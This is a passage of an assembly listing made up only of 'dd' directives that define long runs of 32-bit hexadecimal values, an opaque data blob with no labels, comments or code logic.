3AFCFA2Ah, 468B51E3h, 0E3C6DE8Bh, 6ED78017h dd 71AAB8FCh, 963CD7F8h, 603202A8h, 42A3D080h, 0E21D70Dh dd 2BB5E961h, 0B4C2F89Eh, 8F54DE69h, 0BA015663h, 5BD5E9E5h dd 0D18F372Ah, 2A0E5995h, 3C4327DDh, 6FA8E485h, 9B6AAFB5h dd 0A0154600h, 278E4C0Fh, 107082E8h, 116DB95h, 0F8F1437Fh dd 0AAC22F7Dh, 22235502h, 89B21EDFh, 73253FB7h, 0EA32BB3h dd 91329D31h, 52044661h, 6A7F2148h, 1045408Bh, 96A0BD7Ah dd 48FF79BBh, 70612325h, 0C8B80355h, 0BE310F55h, 2ED0D8E8h dd 20585A32h, 12AB5896h, 0A35F2A1Eh, 0D61C5867h, 4D80D5B8h dd 0E1CC68C6h, 5EDC7FF0h, 5B61B745h, 0DDD45FACh, 0B5C17D16h dd 335F5063h, 7F4A9DE2h, 2DE053A6h, 0BE0434C8h, 475B968Dh dd 80D29AA8h, 810F907Eh dd 80DD0B52h, 33531708h, 505B27A2h, 85001479h, 9D89C62Dh dd 0D827016Dh, 3CE61594h, 8B9B5119h, 27CEB9F9h, 62507E86h dd 297E905Fh, 0BA8B2FDCh, 2640EF70h, 0E47549B3h, 4A38E697h dd 618BACE8h, 0E56BD074h, 0E25394A4h, 0BBFA9213h, 881D102Ch dd 0B603E381h, 0E93B86A9h, 0F217582Dh, 0DE9D80C0h, 0C400C9E7h dd 3B8C8C1h, 95106163h, 0B70B01Dh, 0F6B9A2BDh, 0E05F4B8h dd 2BDEB9E7h, 1BF1D404h, 6EE2B2A8h, 96C7792Bh, 0CFA11731h dd 0F95521B8h, 17C41817h, 0ED6A52B1h, 0E7818351h, 7EA9DC71h dd 2FFD6BD2h, 5475F905h, 0BC53F204h, 0DBC17127h, 8B2A288Dh dd 0B0FD561Eh, 5D03B45h, 0E2F3E87h, 0DA21AE12h, 582CBDBEh dd 6BDD0C02h, 4F7963Eh, 42C160AAh, 0B6CC43D1h, 715A1FEEh dd 0E37BE761h, 4A360770h, 0C48FA95Ah, 0F80A1A55h, 324FAF9Eh dd 0E107A760h, 1E8338DEh, 81BF02Eh, 0F320082Dh, 2BD10409h dd 223A554Bh, 4D4B7DCh, 0C684A114h, 0FC90EFB2h, 2D2CBEBFh dd 0A25C6228h, 140FFDE2h, 12578CA2h, 0F0B70B95h, 0ECB7B5B8h dd 41353D00h, 13BC213Eh, 0A122706Dh, 4AE87C96h, 17E136E6h dd 507AC829h, 0C887DD31h, 9C6A06A9h, 649789C3h, 67909711h dd 5800576Fh, 269BC0B5h, 3C8E149Dh, 249DD41Fh, 9F90D82Fh dd 0E896B886h, 0FBCA9DF6h, 8F78905Dh, 0F39E49Ch, 9E7A0DC5h dd 4C3C8B00h, 49B856A5h, 50B70244h, 2F95AB6Bh, 94592599h dd 53FABF09h, 0F27D9695h, 8589827Dh, 969DE831h, 74EA07BFh dd 115049EFh, 0EE5FF88Bh, 17DC9D76h, 0A88263CEh, 0B589C12Bh dd 0FE052A6Dh, 8551B211h, 29FF21C5h, 0B2112AEh, 3B0C81E1h dd 1088AAA3h, 8A0EBB82h, 0A239C340h, 0F3C56D9h, 8B65CABFh dd 0FC3B224Dh, 846CA554h, 707FEBF1h, 0DB805115h, 0CE5F3C2Fh dd 0D44BB4EBh, 0B5A6485Ah, 0CE62AA03h, 80E14EF5h, 0D0BEFDCCh dd 7D38A94Fh, 45F9A561h, 281A1198h, 0C025A460h, 0B77D4661h dd 2A1CB941h, 1CAA7D25h, 58472506h, 825B59A7h, 306DBD2Bh dd 0F5A18209h, 67E90310h, 5CF6EAB5h, 0A8E974F0h, 0D30970F8h dd 0FFCF684Bh, 0A8DAF304h, 0FB97DE1Eh, 0DCCDDAA1h, 0F1FA4220h dd 5F25CC42h, 0DB9D37C4h, 24A0717Ch, 350848Eh, 0FE60BF7Ch dd 0C09B980h, 0EB379706h, 0EFC26807h, 8817B33Eh, 0ECD985AAh dd 0A1DB4F83h, 8FB3E080h, 49178E56h, 3BC8860Fh, 410C8FAh dd 892D95A0h, 60905E69h, 11BC0568h, 8B22142Fh, 70E9D300h dd 3EFBC7AAh, 7E488C20h, 4C672D42h, 5FD0037Bh, 0B5577087h dd 4BB46B66h, 9144E3C0h, 24C6151Eh, 0B3000C86h, 0CFDC3631h dd 31BF4A9Eh, 4D100AAEh, 6E07A3F3h, 79184C21h, 95A86544h dd 0FFDE8AC1h, 526E6FD1h, 8513B800h, 0C0CFBE66h, 2689602Ch dd 0BC953016h, 618149EFh, 4447B251h, 903D7509h, 0FC329509h dd 14261087h, 4EA1026Ah, 9550EDE4h, 0FA8A4D18h, 0CC77FCAAh dd 200C9073h, 0E9741475h, 123147B5h, 0E98512C3h, 3FD5BC18h dd 305A7C3Dh, 0BE9DA0ECh, 79043401h, 95039FF5h, 6154922Bh dd 9D7113F3h, 130BC27Bh, 0B34C16D5h, 12875884h, 43B88801h dd 1A2C4FF8h, 0B6D1986Ch, 60720422h, 74FFB902h, 0D65A2F16h dd 0BA6115C1h, 57234C7Fh, 0FAD11CD9h, 6FCF9854h, 0FEA34BBFh dd 0DF8BE23Fh, 64E66D5Fh, 92176316h, 57385FFEh, 55C93199h dd 10FF54FFh, 12744C28h, 7AEA139Dh, 43CB091Eh, 116D53F9h dd 29600428h, 5C9081BDh, 0B2C5B509h, 0B0612F44h, 6ABB3168h dd 9D740195h, 0FF0909E5h, 451050E9h, 0FB75F48Ch, 0D40B38BDh dd 0AC1C00BFh, 2C1A7CA0h, 1F099B37h, 5096711Bh, 0CF66C286h dd 76544EFFh, 8941294Bh, 4AF142h, 0DAA4B1DEh, 6000EF8Ah dd 5F802A7Eh, 2D508CEh, 128332ECh, 8AFC3EACh, 29E2F780h dd 0BF201D85h, 0A8C47D13h, 1EFC217h, 0C98D544Ch, 0E9784AD4h dd 8023C58Ch, 6F81BAE7h, 44C04E49h, 18E320Fh, 9754FC1Fh dd 0DE1A61A6h, 54DD0A0Ch, 25253508h, 1744B0F4h, 8D590B52h dd 37805FCAh, 52E961C2h, 0B05121CCh, 0EC2A12C3h, 4498A65Fh dd 800C05Dh, 41517807h, 2770D902h, 806ABA7Eh, 27118AF9h dd 5FF9D450h, 0C21BF204h, 921DDBDh, 0AF756F08h, 0D9B89977h dd 8293642Ah, 0B0D30B86h, 775C78h, 798CB7B0h, 59D292Dh dd 95520E40h, 3695EF00h, 73B56A5Bh, 80977803h, 4663E325h dd 94B976A5h, 1A642F50h, 0A99E8C00h, 0A0B61C09h, 1E1115E6h dd 2D3BD346h, 6154F940h, 0A999FCABh, 0F1C0CC9Dh, 0FE55FDE3h dd 181FC9Bh, 202ABFDFh, 3DC02B6Ah, 13B1B82Ch, 0E09767F3h dd 0D25F2BECh, 737CC8h, 9F48275Dh, 3864987Fh, 407B2D00h dd 0A6545CDFh, 0F6AB5F36h, 439AD323h, 0C150C984h, 51315A6h dd 50FE4A09h, 273979Eh, 2E71D0h, 8C67024Fh, 9CEDD909h dd 14D38013h, 7AAA6C94h, 89201212h, 0BF50BBA3h, 0DF188A0Dh dd 85025A56h, 86A4DD87h, 56C054CAh, 286DEDA0h, 29DCCB5h dd 0C8B9595Fh, 93544D80h, 0E73E8D51h, 0D09AB0A8h, 18D726Ch dd 0B616538h, 2A27C9BDh, 0F9BBAA61h, 0BF7256F4h, 6A5EC03Ah dd 0B07A2DD4h, 1C05B3E2h, 0CCF2C680h, 0B9E0253h, 0F3E1FF61h dd 41AB716Fh, 7E0E91A5h, 94BAEB38h, 79002BADh, 3E047B8Eh dd 0E1C276F0h, 51E25412h, 263AFA4h, 54EB6D16h, 0A85C51E1h dd 0F9207F25h, 12F69425h, 0DE34FBDFh, 2E10B46Fh, 98882527h dd 0B343023h, 2FD59501h, 0FCE0D02Bh, 4208C781h, 44541BD2h dd 0B66F56AAh, 8E98F903h, 0E8F8CCDBh, 30BFFA91h, 41E18D8Ch dd 9F1A7B2Ch, 0D2357F19h, 0A08B1491h, 0FA3220D6h, 52892F17h dd 71A5DDFCh, 0BB61802Bh, 4B8A1EADh, 5ED3013Ah, 29663FEAh dd 0F007B1Dh, 1047A1E9h, 369A05F9h, 0BBB7ABF7h, 0B19BD913h dd 418B2282h, 21004054h, 0A168FCC2h, 0C08A25F2h, 82FBCE70h dd 94115EB0h, 0E4994D3Fh, 2A6BFB0Ah, 0CD001D23h, 0E80A0298h dd 0D2AD0B27h, 0FC80AC7Ch, 36123EFEh, 97283580h, 1C7914F3h dd 0A3009A18h, 0C2D7DB87h, 0F6B7CED4h, 2CD1B560h, 3964AFh dd 13340B46h, 9E411581h, 929CC400h, 86AB764Eh, 61FF0247h dd 222E95Bh, 40336F55h, 8F0D988Eh, 6E0A8002h, 0D379376Ah dd 0FDBD058Dh, 0D215FD13h, 0B4FBEC8h, 713E9164h, 0FB9517FAh dd 9AC6D08Ah, 0A0C96D4Ah, 0DBD8F79h, 0ADF26096h, 0C0DB2B4Ah dd 7AC02CD0h, 580BCA11h, 7D5CB36Bh, 8D80B337h, 0F599583Bh dd 0B43709BFh, 35B00DBEh, 4E09C381h, 582C987Ch, 8737BFA8h dd 0BD47E402h, 0CD687538h, 2A948D31h, 720EE123h, 968802C6h dd 40A0DC50h, 496487E6h, 0C927A00h, 0CECC0538h, 0F218013Fh dd 4A50710Dh, 7A5331F6h, 68721820h, 0F985076Ch, 70C71B45h dd 0A0239B6Bh, 0F8A70D2Fh, 8037B104h, 3BB7F581h, 9C5EBC7Ah dd 945EADA8h, 0E147E625h, 302ED730h, 0C99D0B0Dh, 0CFAA0454h dd 0B468010Bh, 71AC5611h, 25B97ED9h, 641E3C4Ch, 8A12F8CEh dd 0BFA320DEh, 517867Ch, 56A6587Eh, 19B5A3E0h, 4EA17E02h dd 55BFBC0Bh, 8E902BE6h, 54199A95h, 5E360398h, 0DA8505Bh dd 425AF307h, 0DAE4F9D7h, 0DA4B83CAh, 4AF38C68h, 81614EDFh dd 70DA5C1h, 1F4D9561h, 84FEE907h, 95FEBF70h, 485A2394h dd 29CB909Eh, 5CADA5FEh, 8B07DE7Ah, 1FBFCD4Eh, 5F43F81Bh dd 0E9C0CE30h, 5BB8646Dh, 0C4B49500h, 0A51B3C2h, 9603D05h dd 0FD1E5517h, 0C56B80CAh, 4E3EE57h, 0F615490h, 5064A485h dd 0D26E5B4Bh, 2DBDDA04h dd 28F18CEEh, 87E3CC3Ch, 120A917h, 2B61BD11h, 0BE56382Eh dd 0D3B50470h, 0F4827845h, 0B3453248h, 6F565B93h, 6C7A2FCDh dd 5C989D71h, 241619Dh, 4B2C1720h, 0C8709A14h, 0AADDC11Bh dd 0BF886BBCh, 0B44C9DF9h, 10319D10h, 39136D4Ch, 0D2B4F913h dd 8499D3C3h, 61C9B402h, 4F41EC5Fh, 969A5D88h, 293B8981h dd 0B30250CBh, 4F903A4Ah, 55C21C9Ah, 0E72F8571h, 9FDAB08Bh dd 82E71691h, 972AECDDh, 7700E6ECh, 71D517BAh, 0CD009E08h dd 0A5A3408Fh, 27F33E03h, 44E9EAh, 0B62B3C00h, 16A50C35h dd 967F023Dh, 5BE93F65h, 0F8B7425Dh, 6CC59FBFh, 1237F150h dd 0E68C0C46h, 3015B29Eh, 570ACB5Dh, 0E5565FF5h, 12280D08h dd 0B297E65Bh, 0C4EB3116h, 0F3258042h, 596C53FBh, 27DB1816h dd 3B89F70Ah, 48F6DCDEh, 0CA1D13B7h, 6DCB4085h, 60FB8BD5h dd 0F91B10Bh, 0D923318Fh, 5073E47Ah, 0F988F997h, 95631814h dd 1B64B04Dh, 9A5ABD60h, 72D1C905h, 0EAC889Dh, 0E910A913h dd 2EC380A0h, 7648069h, 1BAEC4A0h, 61D88096h, 189753B3h dd 4F8D01C0h, 0F9D9C8A9h, 258AEEBFh, 83CE3085h, 0E3A5BB01h dd 0BF962322h, 3B57F7C4h, 0C1C9503Dh, 8062ECBCh, 0D7518F1Ah dd 7086923Ah, 8FBE127h, 52E60013h, 5F9074F9h, 0D202635Eh dd 53080C02h, 8845D761h, 834B6052h, 0A3430B91h, 717C62BEh dd 649AED2Fh, 3DF26016h, 409D9CA3h, 38C01C33h, 915990Eh dd 81F121F0h, 8BCC0CE7h, 0DB149761h, 0F8A24A49h, 0A114264Eh dd 3DB505C7h, 5C22AB2Fh, 0B60B0B1Dh, 0ADE267F4h, 8DC50E1Ah dd 0AB1417FDh, 0BAB5C423h, 0CD971409h, 805DC5E1h, 0D4AAE512h dd 32E24798h, 41C4D1B5h, 1E5185h, 3CC08160h, 172DD529h dd 84B9BF90h, 467043F2h, 24C7082Ch, 1FA2DD00h, 13669CD8h dd 0B761C1E7h, 1FF9144Ah, 0D3F0032Bh, 294057FDh, 2583B5DEh dd 7F112FC5h, 0AE805F76h, 6AE05A71h, 258436DCh, 3CE4C25Dh dd 0DC8554BFh, 0C1526494h, 93BB1A7h, 9B5BC677h, 0C64A92D3h dd 97370067h, 1D2CE819h, 3C05AD01h, 4A55610Eh, 1101A8B2h dd 0B13F7DA7h, 0EC8F2ADBh, 0A88CB95Eh, 0FC461728h, 2890FE89h dd 71F239E9h, 0F8E08DFFh, 0F0B3D3h, 5CA552FAh, 0B7D8D09h dd 9605D582h, 3BCFAE0Ah, 0EC3118C9h, 669BC02Fh, 12BB645Ch dd 0D3F3E105h, 32BCF34Dh, 7B966D04h, 8DA8F853h, 90369F00h dd 0AF0A54BBh, 64872B4Bh, 0B3D8AD68h, 0B32602B5h, 0A009DF24h dd 0C89757B7h, 451F71AAh, 0F381100Ch, 956AF257h, 45841F71h dd 0DCBAC1DAh, 73038DBEh, 0A5C3D42Dh, 0F76A8A63h, 0AB8F84B7h dd 255DDDFBh, 54D68BFFh, 0E01D520h, 6C3A7046h, 14F139F8h dd 0BBF6133h, 0D70C1A94h, 0EBF87285h, 0A5456ED4h, 9F040967h dd 5740078Eh, 0F15F1BBBh, 5EB5284Ah, 0A166167Ah, 5B0ABA90h dd 996C0FCh, 9455C1E9h, 0DCF2B410h, 0E5012C98h, 271A1949h dd 342FED0Fh, 0B4C1FAC4h, 346BBB9Fh, 0D16082A7h, 44EE04CDh dd 0A5C13DA7h, 0E33F1F75h, 305D8DF6h, 0D08EDB7Eh, 0B5F316A6h dd 59FFDB00h, 2A50026Ah, 95AED1B3h, 0D7C0A76Dh, 40A911ABh dd 174F396Ah, 0F25AD18Ah, 59E909C3h, 62DB790Dh, 7D091A9Eh dd 0A19D7381h, 5EF72F1Eh, 0FB118DA0h, 0F3511A05h, 9CC3EB87h dd 0B6BC84B5h, 189ABAB4h, 0F79EB280h, 0DB2D0183h, 0DAAFC950h dd 84FA4407h, 5C7BAAF4h, 4C30E800h, 0F24B6D79h, 20B06E4Fh dd 0BF668015h, 0ECE6AC25h, 97A090C8h, 383B5B51h, 43B24A69h dd 32143093h, 0FE121146h, 0D8F7483Fh, 89749A4Ah, 0FFCC05D8h dd 0DFB850F9h, 66C49802h, 0E1EB7C1Fh, 133FBD01h, 2E6FB2h dd 0E6822636h, 2FD008E3h, 0FF50236Ah, 423B5195h, 0B0113h dd 2C1CA1F0h, 84B04E6Dh, 6C44BF37h, 488270E6h, 821057EDh dd 0E90912CFh, 7AF971E4h, 20ED45EBh, 8F97DE7Ah, 0D7F3F2DBh dd 0C7468A27h, 980CBD20h, 0DB810271h, 54CEF070h, 303CD5Eh dd 1E5D9Dh, 81E2F773h, 68D651C7h, 0C82B3C18h, 1FD2E388h dd 41D18BD9h, 0E95F8AB7h, 4FB416A9h, 85A8D24Dh, 50A2057Fh dd 0C0AB93EBh, 9720EBECh, 0A3A83Eh, 8F22C2CDh, 0C3675FEFh dd 128726D1h, 59AC2055h, 0E9DE34C9h, 312637E0h, 0DBE53253h dd 0E2A18DE0h, 0A55FE95Bh, 62181025h, 0B152006Eh, 3075A310h dd 3204E673h, 918FCA5h, 0A8D0A0BCh, 39FBDB27h, 0A5040A11h dd 0AA382275h, 0E0B8E634h, 99A82488h, 315D3F02h, 5F085585h dd 0CD16FFE7h, 960966C9h, 612FDEF1h, 599C7DDh, 88C5E89Bh dd 0CBDC07B3h, 2644DDBDh, 3AA7F0BAh, 58E627E9h, 3D0860F6h dd 61F80912h, 0DD73BA55h, 3700CD35h, 337D9F16h, 446AE39Dh dd 91F9BD6Bh, 501CB959h, 0A5B3BFE4h, 0E0644325h, 1DEBBBF0h dd 0A5055BA7h, 9AC06EEDh, 0F5C946h, 0EE16B46Fh, 0DF81FAACh dd 0C1E1FF5Bh, 68D1CF02h, 4FC02B85h, 0BB3E88BAh, 0EDD3D525h dd 10B5ADE1h, 0C56DD00h, 0BD6CFF3Ch, 0E0C08D6Dh, 1AFFF75h dd 6D4DA76h, 6F2BAC34h, 992ABFF1h, 805128A5h, 3AC63CA5h dd 0C9322782h, 94D65AD4h, 0C55FC0E2h, 41243953h, 0E2256A5Ah dd 69F45C8Fh, 11D59202h, 55B3C209h, 0CDAFAA17h, 57744199h dd 6A123187h, 0BD8BE95Dh, 0BF9268C9h, 42B5CC3h, 2509CA4Bh dd 0D850FBAFh, 0B84A8335h, 59F8AFE9h, 3C699217h, 0F92726BCh dd 888D1B4Eh, 0FDE63461h, 5047A36Bh, 840B910h, 9BE15AFFh dd 552280F7h, 25C90A0Dh, 19C43E61h, 7B971907h, 6B90DDA2h dd 12A6412h, 0C7044A6Eh, 3ACF5DCBh, 0FF3A2B28h, 80419E2Bh dd 750DCE4Ah, 0DCE513FAh, 882AA2F8h, 0A10AF25h, 62003DABh dd 0E2DD4D17h, 21BD3386h, 7FC91991h, 1F815092h, 2E602E98h dd 3D072D6Eh, 3231F99Dh, 4C7507BDh, 7E18454Ah, 52A6B920h dd 62D31CB9h, 2AF9005Dh, 0D2167021h, 6CD0BF02h, 745F4FE7h dd 95290243h, 1B570DB1h, 1252A43Fh, 5FD7EDAFh, 115F488h dd 0AF45552Ah, 0D825D381h, 5F4E54E6h, 14AC23A9h, 0B1BE588Ch dd 53B41122h, 0B4FC6140h, 67F042Dh, 0C23A087Dh, 5D74759Ch dd 0ECF41355h, 536AC9E1h, 0A89A78D8h, 0DA80BF09h, 55B057BEh dd 1C40D1BDh, 9187268h, 5B527D5Ah, 0E707D654h, 0CD9B456Bh dd 27AC2C9h, 1A9C8557h, 8C5275FEh, 1E05E247h, 11AA5091h dd 0FACCD5EFh, 0D326BD09h, 3918B10Ch, 0D843882Eh, 0B5290701h dd 16DDBBA5h, 0D4F4BE5Ah, 8190963Eh, 1AD20BF4h, 246CF722h dd 927D2BCBh, 2DC95CEEh, 0ADD92573h, 0D520822Eh, 5325CB5Eh dd 0EB6080B9h, 0D19F1AE1h, 0B1CC084Bh, 0B58913F5h, 0A5FF5D71h dd 0DECC7Eh, 8759051Fh, 2FB30C61h, 0FE499391h, 0FD00D4F6h dd 0E84259C6h, 281082Fh, 0EBDB96F3h, 0C47D3318h, 0F0DB9F84h dd 79ACD8h, 68E4E60Dh, 0E9B3FB8Bh, 0F8A59650h, 2D5D164Eh dd 0F08A4C0h, 7EBB5631h, 0CFD13E6h, 0D01EF5Bh, 2D759D89h dd 12DECB3Fh, 39AE01EDh, 189E4210h, 19E429h, 0D2D7ABEDh dd 71A765CEh, 9DD4A00h, 7039F0C8h, 1917131Eh, 5F04AA68h dd 0BF430589h, 0A9DF0DC5h, 2FE94E8Dh, 11DE88h, 64C8FDBCh dd 230FE68h, 97C25B4Bh, 5FBB10DCh, 49017310h, 268C15ECh dd 0B023B06h, 41542E79h, 4BFC90E5h, 0F55A6680h, 457F1232h dd 982EF2E4h, 0E6173961h, 45BB8A16h, 0EC33E98Ah, 0A45A12E3h dd 8509F860h, 88CAB579h, 0A970F05Bh, 0CD56001Ch, 0B131F4D7h dd 0F99F1DB3h, 7E2FE846h, 4C3B9100h, 4EF91C1Ah, 76149753h dd 934DD2B5h, 0B05D7A2Ch dd 0BFFD172h, 30258D31h, 3BE8E093h, 0EC9D20E9h, 0CE5B4B32h dd 0AA36E9ABh, 9D7B8B2h, 0E3D75CEFh, 46E9BA3Fh, 29B13E14h dd 5F25F178h, 0B61D6CE5h, 96E3D25h, 99F769B0h, 0BE7C60FAh dd 0A5CD0C80h, 0CA7D5A0Dh, 5087D200h, 43440580h, 0B70E864h dd 959D090Ah, 1A6A8876h, 70BE67E4h, 6115A1FBh, 24BA5200h dd 130A2F7Ah, 0DA034B1Fh, 0C714C800h, 0A2D7C045h, 3E4B65A7h dd 0AF3897CDh, 0DD2FFD4Bh, 0CEB903D2h, 0F59233CFh, 5B8D7DBCh dd 1980B89Bh, 0E1783763h, 0E002E94Eh, 551201D3h, 1A41C316h dd 0A7CB2485h, 118AAAC5h, 48EE7AA0h, 0AD656C17h, 0E15A89B3h dd 0AD126A22h, 0B65A0CE7h, 0F4A0A770h, 9722DA0Ch, 0BD7D0B89h dd 385E8523h, 0CED8AF97h, 0A8564ADBh, 5E09807Ah, 25C438E5h dd 9F54EA86h, 85795952h, 0A38A0F60h, 0B0D32807h, 0FEAEE612h dd 6E3A06F5h, 7AA84F45h, 3660F72Dh, 0DB4BBF0Fh, 6EBE29C4h dd 37B50194h, 73ADCEAAh, 0F7D94E92h, 0F5DA4B31h, 0C077D087h dd 76A614B5h, 9816B297h, 2A1CF1h, 7C573356h, 0E41F5EE3h dd 62335795h, 96F0804Bh, 0E3A9727h, 2D214E40h, 22C9497h dd 305D47CBh, 40DF5350h, 4FDEB44Dh, 52C1D65Fh, 6E30DD21h dd 0AE156DC4h, 45828728h, 0F2E32B0Ch, 0A185290Eh, 0E28DB812h dd 0F660562Fh, 0A83F2531h, 85890A41h, 0F0FCDAB7h, 0CBB9850Dh dd 8139986Ah, 5C12DF04h, 0E6AA54E8h, 0A84F5D5Ch, 0F135026Dh dd 892CA65Ah, 4A2BD361h, 0E3C85E99h, 9A24005Ah, 2DF86F3h dd 47001557h, 0D7100544h, 0F6519B21h, 0AE984A49h, 5D18537Fh dd 0B6D901Dh, 0F09D2380h, 0AC1C972Eh, 6A8D345Fh, 12B11A41h dd 0A433B82Ah, 5A111B6h, 16E52DC6h, 4DA916C1h, 0C0A39AB4h dd 0FCF0450Ch, 75DC58B5h, 0E97BA44Ah, 0FFF3A01Ch, 0A6C38147h dd 8B23D820h, 7D85A0C1h, 60CA8203h, 31612056h, 7178C1B5h dd 9264502Dh, 161E2104h, 75E086A0h, 206C9056h, 5F4B13F1h dd 58BDCEC4h, 0BC71A95Fh, 7BCF0EFh, 0E37FF0DEh, 0BA5C0BB3h dd 2B8C01F4h, 0EF1BAD26h, 5F8D2453h, 2A05ECC2h, 62E07D0Ch dd 0EF951D79h, 64D8E109h, 41FDFD78h, 5579B3F9h, 0C90BE892h dd 0FC37D76Ah, 7AB7D80h, 67BFA5h, 0D912563h, 203D9D01h dd 0F6DB5C95h, 0A74CD612h, 0C13F10ACh, 0C47ADBh, 39F8BD87h dd 34BBD4A8h, 0BF06B270h, 7ED05BDAh, 694915C0h, 4D015359h dd 0ED9637C1h, 0F02E74B3h, 0FF801F05h, 0ED44BFD1h, 0AB631488h dd 60533D09h, 0B2EB8E61h, 0BAA66730h, 0ABCC2FD0h, 876589F1h dd 0B5ECDEADh, 0E4861BDh, 33026A01h, 4F290080h, 12A63857h dd 0C3B0051h, 0B2BC50F3h, 5A1DD161h, 0A140E206h, 0EDB3BF90h dd 50530789h, 0C94FB160h, 9A4489FFh, 0AB3D63h, 3ED3690h dd 0FF4C6F86h, 81A903B4h, 0B030EBE3h, 0E739BF11h, 20EB7CA8h dd 0E91209D1h, 71E20E51h, 122A0FC4h, 3181BB9Bh, 60D2B47Bh dd 1A2D2BC6h, 0E6D921h, 0EEC8E727h, 0EC0B866Eh, 244DBD29h dd 6EEA5FA5h, 25EC1F7Eh, 0D5D24889h, 18919935h, 0B51F7581h dd 74D8CA7Dh, 0B5502640h, 690058C4h, 716DEF4Dh, 2E31E1B0h dd 3B350214h, 0FDEA3F25h, 0FE73757h, 2D89AFFDh, 229B9770h dd 0C3D07F8h, 0A9A7CDA6h, 64B51CAh, 5A76B28Ah, 80D99085h dd 1B977DCBh, 0CD3816B0h, 0D2DCA81Dh, 43B6AEEh, 0EBB9FA51h dd 95DC10AFh, 5114F17h, 0DE039926h, 0B412C053h, 4F9D05EBh dd 0ADB0C4B1h, 0A8268898h, 8121EEDDh, 0C3DFC2B0h, 0D0DC4E0Fh dd 71E45B10h, 9780E991h, 0C4F623B1h, 861500B4h, 9F112919h dd 0D302994Eh, 7AABAA42h, 91A75C8Ch, 16E148F1h, 30FE0E29h dd 1521BD13h, 0ACAA539Dh, 0DA509F0h, 0BFC6B0FFh, 0EA01A0Ch dd 0A955205Ah, 80F081E3h, 1689DADFh, 98FF1681h, 0F1E995D3h dd 0F8338B0Ch, 0B1DF7A2Bh, 156857D1h, 0A29EE916h, 0A77D348Ah dd 5500B6ACh, 0EF804947h, 9109BBAAh, 7046A4F5h, 0E268BFBBh dd 0E0A2DBBFh, 2E90AA56h, 0F49F0A88h, 47D85000h, 25BF8D11h dd 0A2C445DFh, 0CF647D00h, 9CBEB596h, 2A2001ACh, 0A33AA132h dd 4EA091E7h, 84D5C15Fh, 0A4362EEAh, 104120EAh, 0CD5C02B5h dd 0D0B0550Ah, 7B04DEC9h, 611E3BDBh, 2188AEB8h, 8FBCCBBBh dd 10AACE4Ah, 8AD115E9h, 612B2C55h, 9A8E3ABh, 79A8A07Dh dd 0CD3A9526h, 0EA724D01h, 0B9E53163h, 0DE5F6E78h, 5CFF824Fh dd 0D6637574h, 5EE6C958h, 342BDCB5h, 0CF9F0BB4h, 61634A54h dd 7885BA01h, 0B7B92540h, 94561A42h, 0C0E04D27h, 8F663470h dd 0E98D6307h, 7D31BF37h, 0C82E0543h, 76600D25h, 10ECD358h dd 70CA2754h, 40FC60A5h, 7538DC14h, 0FB00E447h, 53B45A6Fh dd 1217C33Eh, 0A2C02B24h, 866C00C4h, 0F266DC2h, 886A4BF2h dd 2EF5B3B9h, 0A02DB76Dh, 34007BA8h, 10E73F03h, 0AC78160h dd 3582EBBCh, 88B98E5Dh, 46BB64E0h, 660187C8h, 1CA3A928h dd 0C5406110h, 0FD881FAh, 244B3AF1h, 45950941h, 0B7622E04h dd 4FF953h, 0FFD0A33Dh, 0B527A850h, 510F565Bh, 48DD6A15h dd 16E2Fh, 0BF565516h, 2DC03F37h, 0FD605B0Fh, 8A801CFDh dd 0F8615BCCh, 27DBBC8Ah, 6453C937h, 2494E770h, 9CEEEFAh dd 9CD51231h, 9E5F5F30h, 0E7BC0AFh, 611067E6h, 8FF7B0D9h dd 0BECC2B54h, 56D11173h, 0FFF9822Fh, 6937DDE1h, 1DC9BE00h dd 481925Ch, 498E44E7h, 0A768B834h, 0F3818008h, 7A689A7Bh dd 6B4B1497h, 0EFCD2708h, 0A95A22C0h, 9E1404ADh, 0AAA5BD33h dd 4475E2B4h, 49258D10h, 176BC720h, 0EC84FD92h, 0DE8A1748h dd 24776F60h, 840582DEh, 31C1FA5Eh, 122E32F0h, 0AC87C486h dd 0F80C646Bh, 3C2268B9h, 0B443B8BCh, 90EBF4A8h, 0FDD9B9BBh dd 40C78304h, 0DAFE5BABh, 0ED98D3DDh, 0E8594B30h, 12A6D46Fh dd 0B8BC11E9h, 1E16BB4h, 0B4D78D39h, 0E1C6331Eh, 90002120h dd 960516BBh, 6050056Fh, 0EC4ACCB3h, 9061C479h, 0AD03A7B2h dd 16436E55h, 21AA8E40h, 85091B0Bh, 68A125F5h, 0A94BFD06h dd 0D4CA251Eh, 3A988078h, 64B356ECh, 9F9B878h, 0F887B7B2h dd 0B5A5B0FDh, 0CB2BEF0Dh, 0DA6A5B5Ah, 0B25E326h, 157E0975h dd 0E99CBA40h, 0AD014AC5h, 0E1EE821h, 0EF1F8FD2h, 0E958602Ch dd 5E39A225h, 1AF64197h, 0B8BCDBE1h, 5703C99Ah, 502F2172h dd 12495101h, 3F78E15Fh, 0BC17DCh, 21A2977Ah, 8CD15B78h dd 0B767D300h, 79B5313Dh, 7EF1B715h, 50CC7B69h, 0F004AD0Dh dd 8E8A7314h, 31E901C1h, 663DDC2Bh, 0AD97BB07h, 51D289F8h dd 0B5F96856h, 0B55F71BCh, 16644FEDh, 49AE0260h, 0BF600097h dd 4B7B29F1h, 8E40810Fh, 0F1F814C6h, 0FE085180h, 0C39D40D0h dd 0AC52842Eh, 12E811D8h, 0C026BD4Ah, 35038AC6h, 0B0FB0EB7h dd 0BF203F8Bh, 44205F79h, 9639E1BDh, 1216E070h, 0E1429776h dd 8B475F64h, 6DDC02AFh, 8D010109h, 1FAC547Dh, 5FDA89A4h dd 0FE70EF5Ch, 0B2BB0750h, 8C09E0F8h, 0BE7EB75Fh, 0C4895CE1h dd 0A3A05907h, 0FB4ED45h, 0A8EE6246h, 23F23E17h, 47C1D200h dd 0F221DC70h, 800BD5Fh, 50AA66BFh, 0B6AC4F4Eh, 645765DDh dd 6154972Fh, 0C0C8765h, 8A042650h, 0FA681585h, 0BD378D97h dd 54E92154h, 0B11088D0h, 0EA61322Ch, 80CFDFD9h, 5F26C69h dd 0A3F827CDh, 4AF21Dh, 4218AF81h, 0EE9F71h, 0BBCF3F5Bh dd 582182C3h, 414A3AECh, 2C4134CAh, 49806F38h, 0E7B13378h dd 33696226h, 9147108h, 924AE95Bh, 0C5752E56h, 674CC051h dd 582D5B44h, 0C02A4D5Fh dd 0B7FE594Ah, 7BAFFA02h, 5C84685Ah, 4D65028h, 13D39B7h dd 0B512A9F0h, 203CEA67h, 0C2EABD04h, 65F1EFDFh, 9DD602C4h dd 80012A71h, 342B8CE3h, 8008A8E6h, 0FC4FC81Eh, 97AD016Ah dd 2DB35EAFh, 0E193F014h, 0A3CD324Ah, 